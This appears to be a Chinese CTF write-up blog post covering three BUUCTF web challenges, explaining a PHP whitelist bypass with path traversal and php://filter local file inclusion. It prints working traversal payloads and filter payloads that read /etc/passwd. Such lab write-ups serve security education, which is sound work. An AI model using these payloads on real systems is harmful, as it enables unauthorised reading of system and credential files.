BUUCTF靶场[Web] [极客大挑战 2019]Havefun1、[HCTF 2018]WarmUp1、[ACTF2020 新生赛]Include

[web][极客大挑战 2019]Havefun1

考点:前端、GET传参

点开网址,发现是这个界面

点击界面没有回显,老规矩查看源代码,看到以下代码 

 代码主要意思为:

用get传参,将所传的参数给cat,如果cat=dog,则会输出flag

我们则GET传参将dog赋予cat如图:

点击则页面回显出flag

[web][HCTF 2018]WarmUp1

考点:代码审计、文件包含

访问网站只有一张图片

老规矩,查看源码

源码提示由一个子域,还被注释掉了,将其访问

是一段php代码

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            //验证白名单
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//定义了一个名为emmm的类,在该类中有一个静态方法checkFile用于检查要包含的文件是否在白名单中,白名单是一个关联数组$whitelist,其中包含了允许包含的文件的键值对。在代码中,允许包含的文件有"source"=>"source.php"和"hint"=>"hint.php"。

            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }//checkFile方法首先检查传入的$page参数传进来的file变量不是非空已设置或者不是字符串,会输出“you can't see it”,并返回false
            

            if (in_array($page, $whitelist)) {
                return true;
            }。//如果传入的file参数在whitelist里,回返回真,这里就知道,file参数的值该是上面两个之一

            $_page = mb_substr(//提取字符串
                $page,
                0,
                mb_strpos($page . '?', '?')
                //括号里"."是 PHP 中的字符串连接运算符,是连接两个字符串
                //mb_strpos函数,查找第二个参数在第一个参数中首次出现的位置
                //这里知道第三个参数length=传入字符串长度(因为第一个位置是0
                //但是这里如果加入?就会起到截断的作用
            );
            if (in_array($_page, $whitelist)) {
                return true;
                //如果变量_page(传入参数被截过的部分)在白名单里,可以返回true
            }

            $_page = urldecode($page);//url解码,按规则解码已编码的url字符串,所以构造payload的时候可以考虑用url编码的方式绕过
            
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
//主函数部分
//$_REQUEST['file'] 获取传递的参数file中存储的值
    if (! empty($_REQUEST['file'])//传入参数不能为空
        && is_string($_REQUEST['file'])//检查是否是字符串
        && emmm::checkFile($_REQUEST['file'])
                //调用emmm类中的checkFile函数
    ) {  //所以,不进入else分支,可以调用include函数读取传入文件。这里要满足if中的条件为真
        include $_REQUEST['file']; //include文件读取函数是直接读取file
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
        
    }  //检查$_REQUEST['file']是否存在且为字符串类型,并调用emmm::checkFile方法进行检查。如果返回值为true,则通过include语句包含$_REQUEST['file']指定的文件并终止程序执行,否则输出一个图片标签。
?>

substr()函数、strpos()i函数、in_array()函数进行简义:

string substr ( string $string , int $start [, int $length ] )

返回字符串 string 由 start 和 length 参数指定的子字符串。

输入字符串,如果 start 是非负数,返回的字符串将从 string 的 start 位置开始,从 0 开始计算。例如,在字符串 “abcdef” 中,在位置 0 的字符是 “a”,位置 2 的字符串是 “c” 等等。

如果 start 是负数,返回的字符串将从 string 结尾处向前数第 start 个字符开始。

如果 string 的长度小于或等于 start,将返回 FALSE

$rest = substr("abcdef", -1);    // 返回 "f"

$rest = substr("abcdef", 0, -1);  // 返回 "abcde"
$rest = substr("abcdef", 2, -1);  // 返回 "cde"
$rest = substr("abcdef", 4, -4);  // 返回 ""
$rest = substr("abcdef", -3, -1); // 返回 "de"

echo substr('abcdef', 1);     // bcdef
echo substr('abcdef', 1, 3);  // bcd
echo substr('abcdef', 0, 4);  // abcd
echo substr('abcdef', 0, 8);  // abcdef
echo substr('abcdef', -1, 1); // f

mixed strpos ( string $haystackx ,mixed $needle [, int $offset = 0 ] )

返回 needle 在 haystack 中首次出现的数字位置。

同时注意字符串位置是从0开始,而不是从1开始的(没有提供offset时)。

offset

如果提供了此参数,搜索会从字符串该字符数的起始位置开始统计

如果没找到 needle,将返回 FALSE(因此应该用===来测试返回的值)

​
<?php
$mystring = 'abc';
$findme   = 'a';
$pos = strpos($mystring, $findme);

// 注意这里使用的是 ===。简单的 == 不能像我们期待的那样工作,
// 因为 'a' 是第 0 位置上的(第一个)字符。
if ($pos === false) {
    echo "The string '$findme' was not found in the string '$mystring'";
} else {
    echo "The string '$findme' was found in the string '$mystring'";
    echo " and exists at position $pos";
}
?>

<?php
// 忽视位置偏移量之前的字符进行查找
$newstring = 'abcdef abcdef';
$pos = strpos($newstring, 'a', 1); // $pos = 7, 不是 0
?>


​
  • stripos() - 查找字符串首次出现的位置(不区分大小写)
  • strrpos() - 查找字符串- 计算指定字符串在目标字符串中最后一次出现的位置
  • strripos() - 查找字符串- 计算指定字符串在目标字符串中最后一次出现的位置(不区分大小写)

in_array() 函数搜索数组中是否存在指定的值。

in_array(search,array,type)

参数描述
search必需。规定要在数组搜索的值。
array必需。规定要搜索的数组。
type可选。如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。
说明

如果给定的值 search 存在于数组 array 中则返回 true。如果第三个参数设置为 true,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。

如果没有在数组中找到参数,函数返回 false。

注释:如果 search 参数是字符串,且 type 参数设置为 true,则搜索区分大小写。

访问 hint.php 发现 flag 不在此页,显示在ffffllllaaaagggg目录上

在source.php页面下进行的传参操作,目的是利用include函数将flag文件包含出来,不要被这里的白名单混淆奥

添加"/"让 hint.php?变成一个目录,但是这个目录并不存在,Include 函数就会取执行后面的,跳转到上层目录,

传入checkFile函数要经历 第一次白名单验证 一次?过滤后他就是hint.php 再进行一次白名单验证 返回为真 则达成条件进行包含得到flag

tips:include函数有这么一个神奇的功能:以字符‘/’分隔(而且不计个数),若是在前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含‘/’后面的文件——注意是最后一个‘/’。

(这里让变量_page 变成白名单里的文件名就可以返回 true,但是 flag 并不在白名单的文件里,所以要利用 Include 函数去跳转到别的目录(flag 是在 ffffllllaaaagggg 里,但是不知道这个长名字的文件在哪)

(因为我们当前的source.php一般是在html目录下,往上是www,var,然后到根目录,flag一般就放在根目录下面,这里还有一个hint.php?/或者source.php?/,因此需要返回四层才能到根目录,其实文件名也提示了我们要使用四层目录)

构造 payload三种方法:

source.php?file=hint.php?/../../../../ffffllllaaaagggg

或者:

source.php?file=source.php?/../../../../ffffllllaaaagggg

或者:

hint.php?../…/…/…/…/ffffllllaaaagggg 想象他传入checkFile函数要经历 第一次白名单验证 一次?过滤后就是hint.php 再进行一次白名单验证 返回为真 则达成条件进行包含得到flag

index.php?file=hint.php?/../../../../ffffllllaaaagggg

正确回显,得到flag:

 [web][ACTF2020 新生赛]Include

考点:文件包含漏洞

打开网址回显这个页面

点击tips,回显这个页面,但是看到网址栏由?file=flag.php和题目include,是个文件包含题

用伪协议base64编码进行读取: 

?file=php://filter/read=convert.base64-encode/resource=flag.php

 

 读出来的编码进行base64解码:得到flag

 这题好像只能用base64进行读取,我试了三种就base64能正常回显,但是不妨碍我对伪协议的三种方法的普及:

三种编码伪协议:

① 以Base64编码的方法读取:
?file=php://filter/read=convert.base64-encode/resource=/etc/passwd
② 以ROT13加密的方法读取:
?file=php://filter/read=string.rot13/resource=/etc/passwd
③ 以iconv编码转换的方法读取:
?file=php://filter/convert.iconv.utf-8.utf-7/resource=/etc/passwd
  • 30
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

剁椒排骨

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值